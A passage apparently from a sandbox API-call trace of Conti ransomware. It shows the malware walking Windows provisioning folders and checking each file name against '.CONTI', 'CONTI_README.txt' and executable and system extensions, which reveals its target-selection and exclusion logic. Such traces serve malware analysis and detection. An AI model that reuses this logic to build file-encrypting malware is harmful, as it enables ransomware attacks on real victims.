	[0106.869] lstrlenW (lpString="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml") returned 65
	[0106.869] GetProcessHeap () returned 0x1720000
	[0106.869] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bd5e0
	[0106.869] lstrcpyW (in: lpString1=0x17bd5e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.869] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.869] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml"
	[0106.869] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="11__CO~1.PRO")) returned 1
	[0106.869] lstrcmpiW (lpString1="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.869] lstrcmpiW (lpString1="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.869] StrStrIW (lpFirst="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.869] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.869] lstrlenW (lpString="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml") returned 66
	[0106.869] GetProcessHeap () returned 0x1720000
	[0106.869] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17ca860
	[0106.869] lstrcpyW (in: lpString1=0x17ca860, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.869] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.869] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml"
	[0106.869] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="120__C~1.PRO")) returned 1
	[0106.869] lstrcmpiW (lpString1="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.869] lstrcmpiW (lpString1="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.869] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.869] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.869] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.869] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.869] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.870] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.870] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.870] StrStrIW (lpFirst="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.870] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.870] lstrlenW (lpString="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml") returned 77
	[0106.870] GetProcessHeap () returned 0x1720000
	[0106.870] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x17c3a00
	[0106.870] lstrcpyW (in: lpString1=0x17c3a00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.870] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.870] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml"
	[0106.870] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="121__C~1.PRO")) returned 1
	[0106.870] lstrcmpiW (lpString1="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.870] lstrcmpiW (lpString1="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.870] StrStrIW (lpFirst="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.870] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.870] lstrlenW (lpString="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml") returned 64
	[0106.870] GetProcessHeap () returned 0x1720000
	[0106.870] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x17c3b58
	[0106.870] lstrcpyW (in: lpString1=0x17c3b58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.870] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.870] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml"
	[0106.870] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="122__C~1.PRO")) returned 1
	[0106.870] lstrcmpiW (lpString1="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.870] lstrcmpiW (lpString1="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.870] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.870] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.871] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.871] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.871] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.871] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.871] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.871] StrStrIW (lpFirst="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.871] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.871] lstrlenW (lpString="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml") returned 70
	[0106.871] GetProcessHeap () returned 0x1720000
	[0106.871] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17c3c98
	[0106.871] lstrcpyW (in: lpString1=0x17c3c98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml"
	[0106.871] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", cAlternateFileName="123__C~1.PRO")) returned 1
	[0106.871] lstrcmpiW (lpString1="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.871] lstrcmpiW (lpString1="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.871] StrStrIW (lpFirst="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.871] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.871] lstrlenW (lpString="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml") returned 70
	[0106.871] GetProcessHeap () returned 0x1720000
	[0106.871] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17c3de8
	[0106.871] lstrcpyW (in: lpString1=0x17c3de8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml"
	[0106.871] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="124__C~1.PRO")) returned 1
	[0106.871] lstrcmpiW (lpString1="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0106.872] lstrcmpiW (lpString1="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0106.872] StrStrIW (lpFirst="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.872] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.872] lstrlenW (lpString="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0106.872] GetProcessHeap () returned 0x1720000
	[0106.872] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c88f0
	[0106.872] lstrcpyW (in: lpString1=0x17c88f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.872] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.872] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0106.872] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="125__C~1.PRO")) returned 1
	[0106.872] lstrcmpiW (lpString1="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.872] lstrcmpiW (lpString1="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
